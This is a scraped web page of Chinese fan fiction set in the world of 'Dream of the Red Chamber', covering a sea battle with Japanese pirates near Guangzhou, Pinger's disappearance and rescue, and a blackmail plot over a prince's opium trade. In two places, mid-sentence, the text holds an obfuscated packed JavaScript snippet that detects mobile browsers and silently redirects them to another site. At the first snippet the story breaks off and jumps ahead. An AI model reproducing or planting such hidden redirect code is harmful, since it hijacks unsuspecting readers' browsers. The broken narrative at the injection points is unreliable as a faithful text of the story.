如今船只还有两日就能平安到达广州,王熙凤放宽了心,也不去忧虑那些倭国人是否要追上来捣乱。 “平儿,好不容易平安回来了,你还在想嘉定的事吗?”王熙凤见平儿又独自站在甲板上吹风,略一犹豫,还是靠过来和她说话。 “姑娘说笑了,嘉定有什么可留恋的呢?”平儿扯出一个笑容,在王熙凤看来,却是言不由衷的。 王熙凤想起平儿这些日子的闷闷不乐,不禁有些生气,又道“安德烈就那么好吗?也值得你去牵肠挂肚?” “姑娘怎么又提起他来,我想他干什么?一个不相干的人···”平儿却道。 “那你一直不高兴,又是为了什么呢?”王熙凤追问道。 平儿似乎也因为快回家了而放下了心里的担忧,就回道“我总是觉得心里不安,好像有什么不好的事会发生···” 王熙凤见平儿不是因为安德烈的事而不开心,她扑哧一笑,对平儿道“这话你都说了好几遍了,现在咱们回来了,你总能放心了吧!” “可是刘青管事为何每日都要去货舱巡查一圈呢?”平儿压低了声音“我看他对这批货物好像太在意了···” “那批货物事关重要,若出了差错,他主子肯定要责怪的。”王熙凤解释道。 “那为何之前却被倭国人全部抢走了呢?”平儿又低声问道。 “敌暗我明,一时疏忽了吧,所以他现在才更加谨慎了,这也是常理。”王熙凤笑道。 平儿叹口气,回道“我也和姑娘同样的想法,只是又很担忧有其他的事发生。” “也许是船上浪太大,你睡不好,所以才容易忧思郁结,等回到广州,让你你安心歇息几天好不好呢?”王熙凤安慰道。 “希望是我多虑了吧···”平儿叹了口气。 “咱们回去吧,吹了一会儿风,你的鼻子都红了。”王熙凤笑着刮了一下平儿的鼻尖儿。 王熙凤与平儿刚坐下,就听到外面传来一阵慌乱的脚步声。 “出什么事了?怎么这样着急?”王熙凤问道。 来人正是晴雯,她忙回道“王管事说船舱有些漏水,让我快来告诉姑娘···” 平儿立刻看了一眼王熙凤,回道“不如我去看看吧···” “咱们一起去!”王熙凤拉起了平儿的手。 * “一路风平浪静的,也没有翻什么大浪,为何会有这么多积水?”王熙凤看一眼最底层积了水的货舱,严肃问了王管事。 王管事也很紧张,回道“幸好发现得早,多亏了刘青管事提醒,我这就找人处理。” “有发现船上其他地方破损吗?”王熙凤又问。 “现在还没有发现···”王管事躬身答道。 “快去检查一遍,若再出了意外···”王熙凤没再说下去了。 “姑娘莫要担心,不过是小事罢了。”刘青也来打圆场。 王熙凤却瞪了他一眼,问道“为什么是你先发现的呢?” “我每日都要来货舱巡视一圈的,姑娘不记得了吗?”刘青笑了笑,却很镇定。 “那你为何每日都要来巡视吗?”王熙凤又问。 此时平儿也有些奇怪,却没有问王熙凤。 “姑娘这样说,是怀疑我吗?”刘青笑了笑,走到了王熙凤旁边。 95.水天东望夕茫茫 王熙凤直直看着刘青,好一会儿,才道“眼看就要回到广州了,若是让我发现你背着我做了什么,我也不管你的主子是谁了···”王熙凤说罢,再没理会刘青,牵了平儿一起走了。 “怪不得叫她凤辣子呢!果然够辣!”刘青看着王熙凤离开的身影,口中喃喃说道。 * 回到舱室后,平儿问王熙凤“姑娘,你方才也觉察出刘青不对劲吗?” “有一瞬间,我觉得他的表情很奇怪,试探了一句后,却发现他应该并不是和倭国人勾结的···”王熙凤答道。 “为何这么说呢?”平儿又问。 “还是那个最简单的原因,如果他和倭国人勾结,就没有必要帮助咱们救出那些人,更没有必要把货物也抢回来。”王熙凤严肃道。 “只是他在别的方面却有问题···”王熙凤半靠着椅背,又说道。 “姑娘的意思是?”平儿也猜出了一半。 “我想那批货不只是表面上那么简单”王熙凤答道“只怕里面还有一些咱们不知道的事,所以他才这样紧张。” 王熙凤忽然凑到平儿耳畔,问道“你还记得有一个箱子破了,你让人用麻绳捆住的吗?” 平儿点了点头。 “依我看,不如这样···”王熙凤低声对平儿说了句话。 平儿听了虽然疑惑,但立刻回道“那我今晚就吩咐人去做。” 王熙凤摇了摇头,“我和你一起去,再叫上王管事。” “晴雯呢?”平儿又问,晴雯因睡觉很轻,晚上就为王熙凤守夜,平儿担心惊动了晴雯。 “她脾气暴躁,不要让她知道。一会儿告诉她,今晚你和我睡,不用她守夜了。”王熙凤严肃道。 * 越往北走,海面越发平静无波了。顺利持续到了第三日,再有半天王熙凤等人就能安全到达广州港。 来往的船只不少,有的要在广州靠岸,有的要通往广州去到海洋那边的地方。 “姑娘,有一只船从清晨开始就跟在咱们后面,而且离得越来越近了。”王管事急匆匆对王熙凤道。 “哪里的船?”王熙凤问道。 “只看得到最前面的旗帜,是倭国人的船。”王管事说到这里,心里也很紧张,额头都冒了汗。 “果然追到这里了!”王熙凤叹道。 “咱们马上就到广州港了,再加快些速度,难道他们还敢在港口公然抢船吗?”平儿说道。 “估计他们是不敢的,只怕不到一个时辰,他们追了上来,那就不好了。”王熙凤分析道。 “恐怕不需要一个时辰了···”王管事低声补充。 “你让船员做好准备了吗?火炮弹药可都预备好了?”王熙凤又问。 王管事连忙点头,回道“方才已让人做好准备,船上有四门火炮,都让年轻力壮的船员守着,弹药也都预备充足了。” “果真到了硬碰硬的时候吗?”平儿仍有些担心双方交火。 “我虽然也不想交火,只是他们一路从嘉定追过来,恐怕不会轻易放过咱们的。”王熙凤说罢,却笑了笑。“平儿,你害怕吗?” “怕,但是我相信姑娘。”平儿随着王熙凤一起笑了。 “咱们去甲板上看看吧。”王熙凤又道。 * 几人来到甲板上,王管事拿出一架望远镜要递给王熙凤。 “还用这玩意看吗?两只眼睛就够用了。”王熙凤指了指后面紧跟着的一只船,高悬着日章旗。 平儿接过望远镜向那边看去,对方的甲板上赫然站着几个倭国人。 “看衣着服饰就是他们。”平儿点了点头。 倭国人来势汹汹,四门火炮也都准备好了。 “真要硬抢的话,他们不怕船炸了,货物也都损毁了吗?”王管事低声道。 “虽然不是个聪明的做法,可若咱们进了港,他们又有什么办法来抢?”王熙凤笑了笑。 “也可以等货物进了铺子再想办法呢?”平儿好像是果真站到了倭国人的立场考虑了。 “傻丫头!”王熙凤在平儿额间点了一下,回道“他们在广州能有多少人?哪里敢去那里抢东西呢?” “如果是我的话,肯定要想个稳妥的办法再行动的。”平儿叹道。 “凤姑娘,倭国人追上来了!”刘青说着话,也跑到了王熙凤跟前。 “你自己看。”王熙凤伸手指了指。 “我想不如不要交火的好,万一货物有个闪失,恐怕王爷会怪罪的!”刘青有些着急了。 “我已经让加快速度了,只怕他们若真的追了上来,别无他法的话,也只好交火了。”王熙凤答道。 眼看着倭国人的船越来越近,王熙凤心里也在默默思考着。 “还有多久才能到港口?”王熙凤问王管事。 “三四个时辰吧!”王管事道。 “那边是南华岛吗?”王熙凤指了指近处一片岛屿,附近有不少船只。 “那是离广州港最近的岛,拐过一道弯,就能看到港口了。”王管事回道。 王熙凤点了点头,又转身对平儿道“平儿,不去你回舱室里坐一会儿吧···晴雯也在里面,你们俩做个伴。” “正是紧要时候,我一个人哪里坐得住!”平儿心里紧张,下意识地攥住了王熙凤的手。“姑娘,就让我陪着你吧。” 王熙凤将平儿的头发拢到了耳后,又对她笑了笑。 * 王熙凤从没有经历过战场上的厮杀,如今眼看着二十多米长的一只船伸出黑漆漆的炮筒对着自己,她心里其实也很紧张。 有人说她是“脂粉堆里的英雄”,不过是类比罢了。从前的她只是在深宅大院里行军,她面对的敌人也没有真的能伤害她的力量。 但是炮火是真的可以伤人的。 倭国人向她们开炮了。王熙凤也下令开炮。 平儿攥紧了王熙凤的手。 船只来不及开到广州港了,王熙凤立刻吩咐王管事就近在南华岛靠岸。 双方的船只都是商船,不过都配了火炮。要比较起来作战实力,恐怕都支撑不了多久。 倭国人是有备而来的,他们还准备了火箭。王熙凤以为倭国人担心货物被烧毁,并不会使用火攻,却没想到他们竟然用了火箭。 本来按照双方的距离,火箭无法准确射到这面的船上。只是倭国人做好了作战准备,他们提前左右放了两只小船下来,武士们乘着船,边放箭,边靠近王熙凤的船。他们试图扔绳索上来, 这是要近战攻击了。 木船是最禁不得火攻的,况且对方准备充足,飞箭如雨,有一半都带着火焰,一支支落到了船上。 眼看着只用水桶提水灭火也无法阻止木船燃烧,王熙凤立刻打算弃船逃生。 在王熙凤眼中,自己并不熟悉海上作战,还是不要拼到鱼死网破的好。而且这也算不上很大的失败,不过是损失那批货物罢了。只要能保住救回来的那些汉人,贾政吩咐的事也算有所收获。 “船已经烧着了,恐怕再支撑下去咱们都要送命,现在让人都撤了吧。”王熙凤吩咐王管事道。 “刘青呢?”王熙凤又问。 “刚才有人说他下了货舱,带着人一件件搬箱子呢。”王管事回道。 “正是用人的时候,谁胆子这么大竟然听他的话去搬货了!”王熙凤怒道。 “被咱们救回来的汉人,和几个咱们的人···”王管事也知道这样回答必然会被王熙凤责怪御下不严,可也不敢撒谎。 王熙凤无需思考就知道那些本该昏迷着的汉人是被刘青救醒了,她暗恨自己轻看了刘青,可也来不及再做补救措施。 “不管他们了,咱们快走,什么货物都不如性命紧要。”王熙凤严肃道。 此时他们距离岸边不过几百米,倭国人忌惮着四处船只众多,也不再用火炮和火箭了。 他们看到王熙凤这里也停了,就知道是要弃船了。原本在小船上的倭国人,也陆续扔了绳索爬了上来,他们的第一件事也是灭火。 王熙凤紧紧拉着平儿,晴雯和王管事走在前面,此时前面突然窜出一个人堵住了路。 “让路,否则我饶不了你!”王熙凤见是刘青,立刻骂道。 “倭国人快冲上来了,你吩咐人去帮我搬东西,绝不能再让他们抢了去!”刘青也不再恭敬,朝王熙凤喊道。 刘青见王熙凤眼神示意后面的船员,他立刻从背后拿出一杆火枪,威胁道“你若不答应,我现在就杀了你!” 王熙凤半是恨自己疏忽了刘青的行动,半是担心一众人的性命。她狠狠咬了牙,就吩咐道“去帮他搬东西去!” 刘青见王熙凤的手下果然听了话,嘴角露出一丝笑容,拿火枪指着王熙凤道“她们都可以走,你却不能。” “倭国人都上船了,你怎么还婆婆妈妈的呢?”王熙凤知道了他的意思,对他笑了笑。 “留着你,我自然大有用处,你应该多对我笑一笑,我一高兴,自然放了你的平姑娘。”刘青笑道。 王熙凤最恨刘青拿平儿威胁她,只是投鼠忌器,她纵然攥紧了拳头,却一时想不出如何牵制刘青。 “你若不放了姑娘,那些货物你也拿不走的。”平儿忽然站到王熙凤前面,堵住了枪口。 “你什么意思?”刘青怒道,他将枪口抵在平儿胸前。 “我在货箱里面放了火药,你不放姑娘走,我就让人炸了货舱。”平儿轻笑道。 “你们的人都在这里,哪里能去炸货舱?难不成你在每一个箱子里都放火药了吗?”刘青缓缓道“我可不信!” “你若不信,就等着看烟花吧!”平儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没用的东西!”船长狠狠踹了下属一脚,又吩咐道“让咱们的人都快去救火!” 下属匆忙跑开了。 船长却背着手焦急地走来走去。本来用火箭只是为了逼他们下船,哪里能想到如今搬起石头砸了自己的脚呢? 船长深深叹了一口气,又拿了望远镜紧紧盯着火势的变化。 * 此时平儿和刘青都在货舱里,刘青的人都忙着搬货。 刘青催促道“快找啊!你再磨蹭我先杀了你!”他双眼泛红,说话又急,已经无法保持理智了。 “他们将这里弄得这么乱,要我怎么找?”平儿回道。 这里除了原本浓烈的异香,又多了外面传来的火药味。平儿没有回头看刘青,她认真地翻找着货箱。 “你耍我?”气急了的刘青又将枪口对准了平儿的头。 “你继续干扰的话,一会儿倭国人就杀进来了。”平儿很是冷静,甚至还轻轻笑了笑。 “不找了,总之你在我手里,谅你也不敢做鬼!”刘青突然扯住平儿的手臂,就要将她往外带。 他们迎面就撞上两个倭国武士,刘青一枪杀死一个,另一人还反应不及时,刘青一个闪身躲了起来。 刘青上好了弹药,又杀了另一个武士。待回头要找平儿时,哪里又找得到呢? 平儿怀抱着一个小箱子,匆匆上了甲板。她很是灵巧地避开正厮杀在一起的两方,来到边上,向沙滩上看去。 可惜遍寻不见王熙凤,平儿心急如焚时,忽然看到海边上有一只小船正向这边划过来。船上的王熙凤向她挥手。 平儿笑了笑。 王熙凤喊道“平儿,抓着绳索爬下来,我来接你!” 平儿只听到了一半,却顺着王熙凤手指的方向看到了绳索。 平儿拿出火折子点燃了盒子里炸药的引线,立刻将盒子扔到了甲板上的一大堆稻草上。她昨晚在里面放了一大桶油。昨晚,王熙凤只是让与平儿一起在这个小货箱中放了火药,以防万一。 只是平儿更为谨慎,她担心会有生死攸关的事情发生,因而又背着王熙凤在甲板上的稻草中放了一大桶油,拉了一条隐蔽的引线。 没想到,这真的成了拯救她们的生命线。 平儿点燃油桶后,本以为爆炸不会立刻发生,只是她低估了火焰的蔓延速度,也不知道下面的船舱已经烧成了空壳子。 盒子刚落到稻草堆里就发出一声巨响。 平儿立刻顺着绳子往下爬,她还没有下去两米,木船就炸了。 王熙凤看到冲天的火光,平儿消失在了火光中。随即一块木板崩到小船上,她们的舢板船也翻了。 王熙凤甚至来不及喊一声平儿的名字。 96.一波未平一波起 晴雯和王管事一起将落了水的王熙凤拖到岸边。 幸好岸边的水并不很深,王熙凤没有受伤也没有呛水,她只是失了力气。 远处的火势渐渐弱了,却还冒着浓烟,船中间裂开了,只剩了船首船尾孤零零支撑着,没有了曾经的雄伟壮阔。 王熙凤跪在沙滩上,眼神空洞望着海面,却再也看不到平儿的身影。 “我已让人四处去找平姑娘了,岛上的渔民能找的也都找了,他们收了钱,也会尽力找人的。姑娘莫要担心了。”王管事低声劝道。 “是王家和薛家的船吗?”突然有人走了过来问道。 王管事回头一看,答道“我们是王家的,你又是谁?” “我们是京城贾家的二老爷派来,到这里接应你们的。”潘武正色道,他们一行人刚到南华岛就看到海边一只船烧毁了,却没想到竟然是王家的船。 潘武见王管事等人形容狼狈,也很是担心。 王熙凤听见是贾政派来的人,猛地回头问道“姑父来了吗?他在哪里?” 潘武见王熙凤神情激动,又听她对贾政的称呼,就知道她的身份,忙恭敬回道“老爷还在港口那里,我一会儿让人送信回去,只怕还要半日才能赶过来。” “快送信给姑父,让他带官兵过来救人!”王熙凤忙道。 王管事又补充道“平姑娘落水了,遍寻不到,生死不知,我们姑娘很担心她···” “现在天还亮着,我们让本地人都帮忙找找,他们的小船很是灵巧,对四处的地形也都熟悉。”潘武又对王熙凤道。 “你先派人送信给姑父,然后咱们一同去救人。”王熙凤低声道。 王熙凤心里无限着急自不必说,她勉力支撑着身体,与王管事和潘武分开坐船寻找平儿。 可是茫茫大海,又如何找得到一个平姑娘呢? 一个本地妈妈见王熙凤神情悲痛,也劝道“上午的风都是从海面吹到岸上的,若真有人落了水,也很容易被水带到岸边的,姑娘莫要心急,我带你们一同去找吧!” 这位妈妈不过是岛上的渔民,家里只有一只小船维持生计。可她为了帮王熙凤找人,竟然放下了手中的渔网,划着小船在前面带着王熙凤等人一同找人。 只可惜虽然帮忙的人很多,但运气不佳,直到天黑也没有结果。 王熙凤虽心里难过,却也记得将自己身上带的银子都给了那位妈妈以示感谢。 而她自己好像无处可去似的,也不管晴雯的劝慰,只呆呆坐在沙滩上。 晴雯见劝不动王熙凤,就为她披了一件衣服,又和别人一起找来了许多木柴,在沙滩上点燃了。 “平姐姐远远看见这堆火,也就能找到咱们了。”晴雯又对王熙凤说道。晴雯说罢,见王熙凤默默流着泪,自己也背过身去,不再看她。 虽然潘武信送得很及时,可贾政赶来南华岛时,天已经黑了。 贾政一人走到王熙凤身边,看着她孤零零的背影,忍不住叹了口气,心里也很自责。 “凤丫头,你怪我吧···”贾政坐到了王熙凤身旁,又道“若找不回平儿,我···”贾政说不下去了,其实他心里也很清楚,平儿对王熙凤的不可替代性。 如果平儿真的葬身大海,恐怕什么都无法弥补王熙凤的悲伤。 王熙凤指着天边最后一道橙灰色的霞光,对贾政说道“姑父,太阳落下去了,平儿找不到回来的路了···” “你若心里难过,就哭一会儿吧,明日我陪你一同去找平儿,好不好呢?” 贾政话音刚落,王熙凤就扑到了贾政怀里,哭喊道“姑父,我对不起平儿!该被海水卷走的人是我!是平儿救了我一命!” 贾政轻轻抚摸着王熙凤的脊背,柔声道“不怪你,是我的错,我不应该让你们参与这件事的···” 王熙凤使劲摇摇头,哭道“我并没有任何海战的经验,却那样盲目自大地面对倭国人,平儿满心都相信我,偏偏是我疏忽没有注意到刘青,平儿为了救我,这才被他带走了!” 王管事刚才已将事情细细告诉了贾政,现在听王熙凤将过错都揽到她身上,贾政就宽慰道“不要再想这些了,当务之急是去救人。等平儿回来了你再向她道歉如何呢?” 王熙凤抬起头,泪眼朦胧,轻声道“平儿能回来吗?” “我刚才拜了这岛上的南海神,还求了一只签,是上上签呢!我想明日咱们一定找得到平儿。”贾政又摸了摸王熙凤的头,她虽比探春等姑娘略长几岁,也不过是才二十来岁的姑娘。在贾政心里,也只拿王熙凤当女儿看待。 “你先去歇一会儿,天一亮,咱们就去找人。”贾政轻声道。 王熙凤听了,也点了点头。 “王管事他们安排好了住的地方,我带你过去。”贾政轻轻笑了笑,他见王熙凤起身都没什么力气,又蹲下身子说道“上来,我背你。” “你叫我一声姑父,难道不就像父亲那样吗?”贾政见王熙凤犹豫,回头冲她笑了笑。 贾政背着王熙凤,缓缓在沙滩上走着,又笑道“等回了金陵,你可不要再向父亲告状了呢!” “姑父怎么这样说?”王熙凤道。 “平儿明日回来了,你肯定又开心又难过的,若写家信时说漏嘴了,你父母都知道了,我怕你姑妈之后要埋怨我的。”贾政轻笑道。 “姑父,你想姑妈吗?”王熙凤忽然轻声问道。 “当然想啊,想你姑妈,还想孩子们。”贾政回道。 王熙凤趴在姑父肩膀上,又想起了小时候父亲背着她,让她去摘树梢的果子。平儿小小的,只敢站在树下看着,紧张地攥着手,生怕王熙凤掉下来。 小小的平儿不知道,趴在人背上很难掉下来的,又不是站在树干上。 想到这里,王熙凤忍不住笑出了声。 沙滩上的篝火照亮了一小片海面,也照亮了贾政和王熙凤,又在他们前面投下一道长长的影子。 * 次日天刚亮,贾政就吩咐手下出发去找平儿。他自己带了四五十个官兵来,还有王熙凤和潘武的手下,差不多上百人。他们还请了许多岛上的居民,也让他们尽力寻找。 贾政见王熙凤体力不济,就劝道“我们若找到了人,总是要回来报信的,不如你守在这里,到时候也不会误了消息。” 王熙凤听了,也就点了头,不再坚持,因为她知道贾政说的在理。况且自己也没有什么力气,勉强跟着去了反而会拖慢找人的速度。 贾政找到了南华岛上最有经验的老渔民。他世代与水打交道,熟悉这片海域的一切。 老渔民与贾政走到出事时的岸边,他弯腰抓了一把细沙,用手指捻了捻,分析道“平姑娘落水是在申时,虽然白日里风从海面吹向岸边,但现在是春季,季风的威力不可小觑。我想,大人们应该往南华岛的西北边找一找,那边小岛众多,平姑娘也许还有生机。” 贾政听罢,也很是信服渔民的说法,他拱手谢道“等找到人,一定重谢您!” 老渔民笑着摆摆手,“我们沿海的百姓,出海时总会遇到意外,也就留下了互相帮助的传统。大人快去救人要紧。” 贾政按照了老渔民的指示,果然在南华岛西北边的一处小岛上打听到了平儿的消息。 南海神的签应了验,平儿昨日被海水带到了这里,又被岛上的好心渔民带回了家。 在他们的照顾下,平儿虽当时晕了过去,次日一早就醒来了。虽然身上有一些擦伤,但性命无碍。 岸边的渔民听说来了有人到这里找昨日落水的一位姑娘,很快就带人来到救了平儿的这户人家。 贾政见平儿躺在渔民家里的木板床上,终于放了心,对她笑道“你们凤姑娘为了找你快要将南海翻过来了。” 平儿笑了笑,却又落了泪。 贾政又道“能走吗?凤丫头实在担心你,若是今日不回去的话,我怕她一会儿就赶过来了。” 平儿哭着点了点头。 贾政又送了一些银子给好心的渔民,这才带着平儿离开了。 * 昨日王熙凤的船起火后,倭国人见火势无法挽救,也顾不上再抢货物,只忙着逃命。又怕官府追责,倭国人的船很快离开了南华岛附近。 刘青的手下畏惧刘青的狠厉,被他威逼,都不敢逃跑。只有被刘青胁迫的王熙凤的手下,都没想为他卖命的,趁刘青不备,也都及时逃走了。 王管事后来在找平儿时,打捞上了一些中国人和倭国人的尸体。包括刘青在内,他们在嘉定解救的八个汉人,或被烧死,或被淹死,无一存活。 贾政又让人检查了一遍这些人的尸体,在刘青身上发现一封保存的很好的信件,没有沾一点水。 贾政打开看过,很奇怪的两页文字,既有象形文字和又有西洋人用的奇怪字母,贾政虽看不懂,但也猜到这信事关紧要,他就仔细收了起来。 当日潘武派人来向贾政报信时,贾政与贾雨村和广州公行的秦遥正在港口搜查着倭国人的船只。潘武派的人只说是王家铺子的船出了事,贾雨村早就知晓王家在广州也有铺面和商船,他面上并没有怀疑,也没有要跟着贾政来打听消息,表现出很是善解人意的样子。 而贾政也知道贾雨村的性格,说不定此时他自己或是他的手下,正在这岛上暗中观察着呢。 贾政站在沙滩上,面对着大海叹了一口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297172|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平儿已经找回,王熙凤除了损失了一只商船,人员并没有太多伤亡。贾政不想再让她们卷进这件事,就劝王熙凤回到广州,好好歇息几日。等一切稳定下来,再计划何时出发去南洋。 * 此时,距离南华岛不远的北明岛,因为不是从南洋到广州的必经之地,很是荒凉,除了附近的渔民经过,并没有其他的商船。 倭国将军宇野三郎此时正训斥着屡次失利的船长和武士。 “不过是一个女人带领的商船,你们竟然连续两次败在她手里,还有什么脸面声称自己的武士精神?”宇野三郎痛骂跪在他面前的武士们。 船长颤巍巍擦了一下额头的汗,才低声回道“在嘉定是我们疏忽大意了···” “南华岛呢?又是疏忽大意了不成?嘉定的失败还能解释成敌暗我明。那么昨日明明是你们做好万全准备了,怎么还能一无所获!”宇野三郎越说越气,用力踢了船长一脚。 “本来火都救下来了,没想到他们又点燃了炸药,实在是意料之外的事情···”船长虽不敢辩解,但看宇野三郎直直盯着他分明是要解释,就只好勉强说了一句。 “你以为自己投鼠忌器,却没想到他们根本不在乎货物吗?”宇野三郎又道。 “他们费尽心思抢走了货物,我是万万没想到他们不在乎的···”船长犹豫道。 “说来说去都是你的失误,想想看,这两次丢了面子,要怎么将功补过!”宇野三郎跪坐在地,又喝了一口茶让自己平复心情。 船长思考片刻,又跪行至宇野三郎面前,才回道“京城的那个王爷不是和咱们有协议的吗?虽然咱们抢了他的货,又抢走了他在那边的铺子伙计,但咱们却知道他的秘密。我想,哪怕为了保住这个秘密,他都要听咱们的话···” 宇野三郎边喝茶边点头,又道“说详细些···” “派人传个话去,就说将军和他们有要事商谈,哄骗到岛上,却不让他们带护卫跟着,那时不就任咱们处置了吗?”船长挤出一个笑容“两次丢的面子,这一次都可以补上了,消息传回国内,天皇也只会称赞将军。” “请君入瓮?”宇野三郎轻笑道。 “鸿门宴。”船长俯身磕头。 “听起来是不是太简单了?我听说王爷派来的两个大臣,可都不是容易对付的。”宇野三郎又道。 “写一封信去,明明白白写清楚一个王爷的把柄,他们肯定要忌惮这事,若想与咱们协商处理,就要听咱们的要求。”船长又道。 “只抓两条人命是不是太轻易饶过他们了?”宇野三郎又笑道。 “将军还想要什么?”船长笑问。 “咱们丢了一船货物,这个损失可怎么办呢?”宇野三郎道。 “让他们拿十万两银子来赔罪如何呢?”船长回道。 “这个数字好,不多也不少,不至于让他们为难,咱们拿到手也有办法不让别人知道。”宇野三郎笑了。 “只是单单只要十万两银子,还不够解气啊···”宇野三郎又长叹一口气。 “将军的意思是···”船长试探道。 “我想要他们在广州的水军布防图···”宇野三郎缓缓道。 船长还来不及惊讶却又听到宇野三郎接下来的话。 “还有广州通商口岸的特许权···”宇野三郎说完,端起了茶杯。 “您的计策实在太妙!您一定可以成为地位最高的将军!”船长恭维道,说完立刻又补充半句“而且还是最年轻的!” 宇野三郎很是受用这两句赞美,他摆了摆手,笑道“给汉人的信我来写吧,等我写好了,你派人去送信。” 船长恭敬应了。 “在嘉定还遇到什么事了吗?”宇野三郎又问。 船长摇了摇头,又道“只是在孟买的几片田地被英国人插手了···” “英国人?”宇野三郎轻笑一声“荷兰人如今也管不了英国人了吗?” “英国人的气焰越来越高涨,只怕日后比荷兰人更要嚣张。”船长回道。 宇野三郎点了点头,却不很在意英国人,又吩咐道“忠顺王爷靠贩卖鸦片不知道赚了多少钱,咱们好不容易抢来的那几片罂粟田可千万不能丢了!大不了多给荷兰人贿赂一些钱,让他们帮忙打发走那些英国佬。” 船长立刻应了下来。 “他倒是聪明,手里有这么个赚钱的法子,却从来不在自己国家捞钱。”宇野三郎又道。 “恐怕他也担心被皇帝知道了吧,做臣子的总要担心皇帝的看法。”船长回道。 宇野三郎看了船长一眼,又点头道“你说的对,就像咱们做的一些事,也不能被天皇知道了···” 97.请君入瓮又惊雷变 “凤丫头,你写信给宝钗时只说我这里一切顺利,不要提别的,免的你姑妈和姐妹们担心。”贾政又叮嘱道。 此时王熙凤和平儿等已在广州安置了下来,听了贾政的话,她们决定在这里休整一段时间,再考虑之后的行程。 商船损毁,王熙凤要写信给京城的宝钗详细说明遇到的情况,难免要提到贾政的事。 王熙凤听了贾政的叮嘱,又笑道“姑父总是这样藏着掖着,难道我不写明,姑妈她们就不会担心了吗?” “道理虽然是这样,但还是不要让她们知道的太详细了。”贾政笑道。 “总是要等老爷回到京城,太太和姑娘们才能真的放了心。”平儿说罢,却对王熙凤笑了一下。 “还有,我让潘武买了一些广州的土产,你一并派人送回去吧。”贾政说着将单子递给了王熙凤。 “怎么还有几株树苗?”王熙凤又问“京城的气候恐怕种不活呢?若在金陵的话,却比京城更和暖一些。” “你姑妈让我带几株树苗回去的。我选的这几种树在北方也能活,若真的种不了,以后就再来广州买一些吧。”贾政笑道。 “看姑父买的这些东西,竟比我都要心细了!好多是姑娘们喜欢的,姑父竟然都想到了。”王熙凤又笑。 贾政此时却有些不好意思,微微红了脸,又道“别打趣我了,好好伺候平姑娘才是正经事。”说罢,贾政就走了。 “我看老爷有点像是落荒而逃了,姑娘的嘴可真不饶人啊!”平儿又笑王熙凤。 “我可曾说过一句不好听的吗?”王熙凤回道“只是姑父自己心里有事,才听不下去了呢!” 王熙凤说罢又紧挨着平儿坐下,捏了捏平儿的衣服,又关怀道“冷不冷,要不要再添一件大衣裳?不如在屋里生一个火盆?” 平儿之前落水后一直抱着木板漂在水上,回来后就染了风寒。三月的广州,平儿却总是说冷,王熙凤担心她,寸步不离地守在跟前,就怕她自己出门又着凉了。 “怎么就这样严重了?正和暖的天气,用不着火盆的。”平儿却笑了笑。 “你自己的身体不爱护,我说再多都没用的。”王熙凤叹了口气。 “姑娘不要生气了,我去床上躺着好不好呢?把棉被也盖着,更不会着凉了。”平儿见王熙凤低落,忙补充道。 “可是躺久了又不舒服了···”王熙凤回道。 “那可怎么办呢?”平儿歪头笑道。 王熙凤却拿出一床厚毛毯,裹在平儿身上,然后自己也钻了进去,平儿顺势靠着王熙凤。 “广州的气候这么好,我们都没有好好看呢!”平儿叹道。 “等你伤寒好了,咱们将广州玩个遍,好不好呢?”王熙凤低头笑道。 “姑娘不着急去南洋了吗?”平儿又问。 王熙凤笑着摇摇头,又指着窗外开得正盛的一株高大木棉花树,对平儿笑道“在金陵家中也移栽这样一棵树如何呢?” “太高大了,恐怕不适合庭院里种。”平儿也看了过去。木棉花火一样红的花朵,实在太热烈了。 “我偏要种一株!”王熙凤坚持道。 * 倭国人传来的信最先到了贾雨村那里。 “大人,快来看看这封信!”贾雨村说着话就将信递给贾政。 信写得挺长,难脱外国人常有的生涩僵硬。信中内容先是说他们将军知道忠顺王爷的秘密,又详细描述了王爷在孟买的罂粟庄园,亩产多少,如何运往中国,又如何卖到朝鲜国,甚至还写清楚了盈利多少。 随后就提出他们的要求,让贾政与贾雨村带着十万银子,水军布防图以及两广总督的特许通商承诺到北明岛赴宴,双方借此解除之前的误会,最多只能带十名护卫。时间在三天后,署名是宇野三郎将军。 “这摆明了是鸿门宴!大人以为如何?”贾雨村大声道,又像是气不过的样子,还拍了一下桌子。 “你告诉王爷了吗?”贾政问道。 “已经派人送信去了,可倭人要求是三天,这么短的时间王爷来不及收到信回复的。”贾雨村道,满脸都是毫不掩饰的怒气。 贾政踱步思考一会儿,又拿起信对贾雨村道“信中所说属实吗?” 贾雨村犹豫片刻,才下定了决心回道“我也不知道全貌,但他这样说,恐怕八九不离十···” 贾政叹了口气,又道“这样的大事,不如直接奏请圣上如何呢?” 贾雨村听罢猛地拍了桌子,立刻走到贾政跟前,直直盯着他眼睛,沉声道“大人怀疑这事都是王爷私下做的,圣上被蒙在鼓里吗?” 贾政却笑着拍了拍贾雨村的肩膀,又道“雨村莫要着急,且听我说。事关重大,又涉及海防安全,我担心不奏请圣上的话,恐怕之后要被怪罪的,并没有敢丝毫怀疑王爷。” “来前王爷都说过了,让咱们全权处理,有事请示王爷就好,无需多此一举,再去告知圣上。”贾雨村说罢,也坐了下来。 “为了不让他们真的将秘密散播出去,咱们也许真的要听他们的吩咐做事了。”贾政严肃道“只是这三个要求要怎么办?” 贾雨村却嗤笑一声“他提了三个要求咱们就要拱手送人吗?小小的倭人也太高看自己了!” “雨村的意思是?”贾政坐到了贾雨村对面。 “鸿门宴自然是要去的,海防图和银子却不能给他们。”贾雨村笑道。 “他们恼羞成怒怎么办呢?”贾政紧张道。 贾雨村笑着摇摇头“大人怎么也无法冷静了?这却难得!” 